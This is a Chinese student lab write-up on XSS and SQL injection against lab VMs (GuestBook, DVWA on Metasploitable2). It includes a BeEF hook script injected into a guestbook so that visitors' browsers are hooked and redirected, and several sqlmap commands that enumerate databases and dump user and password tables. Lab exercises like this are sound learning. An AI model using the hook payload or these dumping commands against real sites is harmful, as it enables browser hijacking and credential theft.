网络渗透实验三

一、XSS跨站脚本注入实验

1.1 XSS及其攻击原理

XSS又叫CSS (Cross Site Script) 也称为跨站,它是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
XSS攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码,例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。如这句简单的Java脚本就能轻易获取用户信息:alert(document.cookie),它会弹出一个包含用户信息的消息框。入侵者运用脚本就能把用户信息发送到他们自己的记录页面中,稍做分析便获取了用户的敏感信息。

1.2 XSS漏洞分类

存储型 XSS:交互形Web应用程序出现后,用户就可以将一些数据信息存储到Web服务器上,例如像网络硬盘系统就允许用户将自己计算机上的文件存储到网络服务器上,然后与网络上的其他用户一起分享自己的文件信息。这种接收用户信息的Web应用程序由于在使用上更加贴近用户需求,使用灵活,使得其成为现代化Web领域的主导。在这些方便人性化的背后也带来了难以避免的安全隐患。如果有某个Web应用程序的功能是负责将用户提交的数据存储到数据库中,然后在需要时将这个用户提交的数据再从数据库中提取出返回到网页中,在这个过程中,如果用户提交的数据中包含一个XSS攻击语句,一旦Web应用程序准备将这个攻击语句作为用户数据返回到网页中,那么所有包含这个回显信息的网页将全部受到XSS漏洞的影响,也就是说只要一个用户访问了这些网页中的任何一个,他都会遭受到来自该Web应用程序的跨站攻击。Web应用程序过于相信用户的数据,将其作为一个合法信息保存在数据库中,这等于是将一个定时炸弹放进了程序的内部,只要时机一到,这颗定时炸弹就会爆炸。这种因为存储外部数据而引发的XSS漏洞称为Web应用程序的Stored XSS漏洞,即存储型XSS漏洞。

DOM-Based XSS漏洞: DOM是Document Object Model(文档对象模型)的缩写。根据W3C DOM规范(http://www.w.org.DOM/),DOM是一种与浏览器、平台、语言无关的接口,使得网页开发者可以利用它来访问页面其他的标准组件。简单解释,DOM解决了Netscape的JavaScript和Microsoft的JScrtipt之间的冲突,给予Web设计师和开发者一个标准的方法,让他们来访问他们站点中的数据、脚本和表现层对象。由于DOM有如此好的功能,大量的Web应用程序开发者在自己的程序中加入对DOM的支持,令人遗憾的是,Web应用程序开发者这种滥用DOM的做法使得Web应用程序的安全也大大降低,DOM-Based XSS正是在这样的环境下出现的漏洞。DOM-Based XSS漏洞与Stored XSS漏洞不同,因为他甚至不需要将XSS攻击语句存入到数据库中,直接在浏览器的地址栏中就可以让Web应用程序发生跨站行为。对于大多数的Web应用程序来说,这种类型的XSS漏洞是最容易被发现和利用的。

反射型XSS:仅对当次的页面访问产生影响。使得用户访问一个被攻击者篡改后的链接(包含恶意脚本),用户访问该链接时,被植入的攻击脚本被用户浏览器执行,从而达到攻击目的。

1.3 XSS注入环境搭建

这里实验是验证存储型XSS

实验设备:2台虚拟机:一台win2003services 一台kali
搭建网站:这里使用的是GuestBook一个留言簿

在win2003services 搭建 GuestBook
一路next,权限全开就搭好了,毕竟只是用来做测试用
(不过搭好后或许会遇到一些问题:网页打不开,访问不了,注意虚拟机是否联网,选择有效ip;登陆需要密码验证,应该是权限问题)
在这里插入图片描述
搭好后访问并用awvs工具扫描该网站是否存在漏洞
在这里插入图片描述

1.4 使用beef工具进行XSS注入

在kali里启动beef
在这里插入图片描述生成了<script src="http://<IP>:3000/hook.js"></script>脚本
在留言簿中留言
在这里插入图片描述
当去访问留言簿时,网站会自动解析这段恶意代码,之后被kali用beef连接,这里我是直接用kali访问了网站,所以beef是连上kali并可以对其进行攻击。不过另起一台虚拟机或是使用桥接用主机访问更能模拟出一次真实的XSS攻击。
在这里插入图片描述
使用Redirect Browser脚本使访问过的留言簿的主机网页跳转。
在这里插入图片描述
另起一台unbutu访问网站,一样可被控制。
在这里插入图片描述

二、SQL注入实验

2.1 SQL注入原理

所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。
当Web应用向后端的数据库提交输入时,就可能遭到SQL注入攻击。可以将SQL命令人为的输入到URL、表格域,或者其他一些动态生成的SQL查询语句的输入参数中,完成上述攻击。因为大多数的Web应用程序都依赖于数据库的海量存储和相互间的逻辑关系(用户权限许可,设置等),所以,每次的查询中都会存在大量的参数。

2.2 实验环境搭建

实验设备:2台虚拟机 一台kali 一台Metasploitable2

用kali访问Metasploitable2的dvwa
将dvwa安全等级调至最低,并在sql注入部分验证是否存在注入
2次输入显回不一样,根据报错可判断明显存在sql注入
在这里插入图片描述在这里插入图片描述

2.3 枚举当前使用的数据库名称和用户名

kali使用sqlmap进行注入
cookie在访问dvwa的浏览器F12即可找到
注入语句

sqlmap -u '192.168.234.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; PHPSESSID=4fb00f1bf55d2feadccf8c245b1ad525' -b --current-db --current-user

在这里插入图片描述
在这里插入图片描述

2.4 枚举数据库用户名和密码

sqlmap -u '192.168.234.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; PHPSESSID=4fb00f1bf55d2feadccf8c245b1ad525' -D dvwa --string="Surname" --users --password

在这里插入图片描述
在这里插入图片描述

2.5 枚举数据库

sqlmap -u '192.168.234.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; PHPSESSID=4fb00f1bf55d2feadccf8c245b1ad525' --dbs

在这里插入图片描述

2.6 枚举数据库和指定数据库的数据表

访问mysql数据库user表单

sqlmap -u '192.168.234.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; PHPSESSID=4fb00f1bf55d2feadccf8c245b1ad525' -D mysql -T user --columns

在这里插入图片描述

2.7 获取指定数据库和表中所有列的信息

访问mysql数据库user表单

sqlmap -u '192.168.234.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; PHPSESSID=4fb00f1bf55d2feadccf8c245b1ad525' -D mysql -T user -C user,password --dump

在这里插入图片描述
访问dvwa数据库users表单,即我们的登陆账号信息

sqlmap -u '192.168.234.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; PHPSESSID=4fb00f1bf55d2feadccf8c245b1ad525' -D dvwa -T users -C user,password --dump

在这里插入图片描述

2.8 枚举指定数据表中的所有用户名与密码,并down到本地

所有查询出来的结果都在本地保存,只不过隐藏起来了,sqlmap在第再次扫描到同同意网址时会直接读取,而不会进行多次尝试注入了,所以这些数据得定时清理,这是我以前做sql测试时遇到过的。
保存文件夹问 .sqlmap 为隐藏文件夹,在/root/文件夹中使用 ctrl + h 显示
在这里插入图片描述

总结

通过本次实验了解了sql与xss漏洞的形成原理,并知道了其攻击过程,俗话说知其黑,守其白。了解了漏洞也跟利于我们今后防范漏洞。也了解熟悉使用了beef和sqlmap工具。通过实验与小组成员讨论也收获了很多。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
网络安全渗透测试是一项重要的技术,用于评估系统和网络的安全性,发现潜在的漏洞和弱点。以下是一些入门的步骤和建议: 1. 学习基础知识:了解计算机网络、操作系统和常见的漏洞类型,包括身份验证、授权、输入验证、配置错误等。 2. 学习渗透测试方法:了解渗透测试的基本方法和常用工具,如信息收集、扫描、漏洞利用和权限维持等。 3. 了解法律和道德问题:确保你了解相关法律和道德规范,遵守国家和地区的法律法规,并获得合法的授权进行渗透测试。 4. 设置实验环境:建立一个安全的实验环境,例如使用虚拟机或容器,以便在没有对真实系统造成影响的情况下进行实践。 5. 信息收集:使用各种技术和工具,如WHOIS查询、端口扫描、网络映射等,收集目标系统和网络的信息。 6. 漏洞扫描:使用自动化工具(如Nmap、OpenVAS等)进行漏洞扫描,发现系统中存在的已知漏洞。 7. 漏洞利用:根据扫描结果,选择合适的工具和技术进行漏洞利用,以验证系统中的漏洞。 8. 提供报告和建议:将渗透测试的结果整理成报告,包括发现的漏洞、风险评估和建议修复措施。 9. 持续学习和实践:网络安全领域变化迅速,持续学习新的技术和攻击方法,并通过实践提升自己的技能。 请注意,在进行渗透测试时,务必遵守法律和道德规范,并获得合法的授权。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值